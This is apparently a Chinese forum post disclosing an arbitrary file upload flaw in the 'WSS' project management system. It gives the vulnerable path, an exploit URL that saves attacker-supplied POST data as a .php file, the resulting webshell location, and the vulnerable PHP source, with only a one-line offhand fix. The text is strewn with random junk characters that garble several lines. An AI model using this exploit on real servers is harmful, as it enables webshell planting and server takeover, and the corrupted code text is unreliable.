WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
* i. T. r/ ?( ~) D& f$ Z3 _ 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
) q/ X5 v1 V; d* j* c% z; w* o
9 s* `2 L7 F1 \: S4 n8 Q" IPost任意数据
% r( V8 s- F+ r& W0 {! u. j保存位置http://localhost/chart/tmp-upload-images/hfy.php
- w# N. N1 V* X: K7 o1 N

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

$ |& ]/ |- e+ V" S, F<?php
7 I" n; q6 Y; k& Z6 Y' J9 }+ o
/ [+ G, h7 n" j7 m. g//
3 T7 i' U8 T% R5 i) Y9 M// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
/ i1 `/ e  D+ Y% `//

/*

6 l* X# w2 g3 c. y& T# Xprint_r( $_GET );
$ q3 r0 N+ J- p- i+ ?( i- sprint_r( $_POST );
print_r( $_FILES );
# ]& ^' N5 X7 R+ a+ H6 H" F
print_r( $GLOBALS );
) }+ n. ?: x( T8 t3 Jprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
9 ^0 ?% C7 ^9 A9 D0 |% o! r// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
$ m+ V2 d1 q1 u0 s0 s
+ J$ ^: ?: O% W// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
+ b# `( y* p6 M! Z8 J( [
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
% b  Y( i: J2 q# a// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

/ M  E" f) z5 I0 S9 c. e& K//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
: t7 O& r  T/ |1 C1 i
//
// LOOK:
! S8 L2 X, ?  b2 [9 R//
exit();
  K' t( Q, O/ @  s//
// PHP5:
5 F! @8 ]8 i6 H% T( Q3 {//

  j; p) a4 x9 x+ T4 n+ Z+ d
' ]; Y/ W+ v; m# U// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

9 |9 \; e2 N3 j- ~4 Q  q; @$ sif (!file_exists($default_path)) mkdir($default_path, 0777, true);
# o: j0 b! Z. ?, w
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
: }4 W/ ?7 E2 @: y* X' [
// move the image into the specified directory //
' z" E, ?/ M5 |2 v- l2 {if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
  B4 Z; m) A- n4 V: S2 L" ]    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
9 `. v0 @3 ?9 V    echo "FILE UPLOAD FAILED";
. J: `7 \# F- e- `}
" R+ ?) a4 K: u7 w- @2 B
" H; m6 j" S- [0 E4 U, e7 J/ K0 s
?>

* O; x( @( E* s# Y' ~& L/ B1 a

# m9 N" b5 ^- h
- k6 Q& ~9 o: u/ z- W

修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
0 l  C7 W( _$ O5 y* J


. z6 P* u$ f) F& t% z! d+ U
# W/ @5 ~' r; K$ e( v